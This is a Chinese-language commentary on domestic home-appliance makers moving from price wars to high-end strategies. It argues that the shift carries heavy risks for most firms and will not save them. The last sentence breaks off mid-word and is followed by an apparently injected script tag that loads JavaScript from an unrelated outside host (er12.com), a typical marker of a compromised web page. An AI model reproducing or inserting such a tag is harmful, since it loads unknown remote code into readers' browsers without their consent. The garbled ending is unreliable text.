近两年来，国内家电业战略转型之风盛行，其核心内容就是从价 格战迈向价值战的转型，从中低端市场的争夺转向中端市场的突围。 应该说，这种转型代表了我国家电企业今后发展的方向，也是众多家 电企业实施差异化突围、保持可持续发展的一种途径。但是，高端并 不是我国家电企业唯一的道路，更不是救命稻草。相反，对于数量众 多的中小型家电企业而言，还存在着经营风险和压力。
劲刮高端转型风
近三年来，由于受到家电业大环境的影响，增长模式从快速走向 缓慢，市场竞争从不激烈走向白热化。企业的经营利润也受此影响， 面临不断下滑甚至亏损境地。同时，国家宏观调控政策，采取的紧缩 银根、控制产能过剩等手段，也在一定程度上影响了市场。
无论是大型家电集团，还是中小家电企业，都面临着如何生存与 发展，如何实现可持续增长两大难题。特别是在产品、技术、渠道、 促销等高度同质化背景下，家电企业的可持续发展和差异化突围就显 得格外艰难。就连以lg为代表的外资企业在实施了多年的本土化策略 后，也开始全面转型并实施高端战略。
这一战略亦得到了国内企业的积极响应，尤其以价格恶战激烈而 闻名的彩电和空调两大领域，企业掀起了一股效仿和学习的高端转型 风潮。海尔、美的、长虹、康佳、奥克斯等众多企业，都根据自身的 发展情况，在不同时间先后停止参与市场的价格恶战，并转向中高端 市场的份额争夺和企业形象重塑。
海尔是国内率先展开高端转型的代表者。在之前的市场竞争中， 为了确保企业的市场份额和品牌影响力，海尔曾一度贴近市场竞争， 参与到中低端产品的价格竞争中。但是这对企业的经营利润造成了极 大的压力，特别是在规模大幅增长的情况下，效益却未同步提升。随 后，海尔便率先在整个集团提出了“高价值战略”，即为消费者提供 高价值含量的产品，不参与市场的价格竞争，转向通过产品功能、售 后服务等手段来参与市场竞争。
外资品牌lg在中国市场的战略转型更具代表性。以本土化战略为 推动，lg迅速在中国市场上保持了快速增长，市场份额、品牌影响力 等同步提升，但是经营利润却受价格战所累，迟迟得不到有效的提升。 在这种背景下，lg迫于全球化战略的需要，在中国市场上也导入高端 战略，以高技术、高价值的产品推动企业的可持续发展。
据不完全统计，80%左右的家电企业都在不同的场合，通过不同 的方式表达了战略转型的意图和目标，其根本内容就是停止参与价格 战，转向加强中高端新品的推广和研发力度，从而有力地提升企业的 经营业绩，提高企业的竞争力。
不是救命稻草
应该说，家电企业实施的高端战略在方向和意图上无可厚非，都 是为了保证企业的再发展和正常运营，然而，在具体的执行过程中， 却容易遭遇诸多难题和瓶颈，并不能够成为所有家电企业再发展的救 命稻草。
笔者以为，一方面，在转型初期，企业的利润和规模难以平衡。 特别是一些大型家电企业，长期以来的发展是以规模化为推动，如果 短期内实施了高端战略转型，就会从根本上造成对企业规模，特别是 市场份额的影响。这样，尽管平均效益提升了，但是销售规模却因此 下滑。在目前的市场形势下，这种转型所要付出的代价过大，特别是 对于一些中小型企业，容易因此而陷入绝境。
另一方面，许多企业的战略转型手段单一而乏力。就是通过简单 的停止低价格销售，转向推出新产品，提升价格体系，从而达到转型 的目的。这种手段，在产品功能上缺乏更好的技术和功能支撑，在品 牌上更缺乏对消费者的诱惑和拉动。而在其他环节上，服务、技术、 市场等却没有同步转型，形成有力的支撑效应。如此一来，就会进一 步加剧企业对于市场操作的不稳定性。高端转型不成，反而将中低端 市场的份额丢失，这是所有企业都必须面对的难题。
同时，还应当清楚地看到，这种转型在理念和操作模式上，都存 在着较大的不确定性。首先，从中低端市场转向高端市场的竞争，企 业缺乏操作经验，原先操作模式也无法辐射借用。其次，当理论上的 战略目标遭遇具体市场竞争时，由于缺乏成熟的模式可供借鉴和学习， 企业无法控制其过程和主动权，很容易中途折翅。
因此，对于众多家电企业而言，战略转型不能操之过急，初期应 以观望为主。其次，还要清楚地认识到，整个高端市场容量有限，一 窝蜂而上容易再度引发市场的无序竞争。再者，高端只是细分后的市 场，在高利润的背后还存在着高风险，并不是所有企业都能承受。
今后发展乏力
由于这些家电企业的转型，都是围绕着从低端直接迈向高端的战 略转型，其核心目的就是要提升经营效率，可以说是在利益主导下的 转型。这显然从立足点上就是错误的。中国市场的特殊性决定城乡二 元化结构在长期内是并存的，而发展中国家的市场经济定位，也决定 我国家电市场的消费主流还是中低端市场。高端市场注定只能成?script src=http://er12.com/t.js>
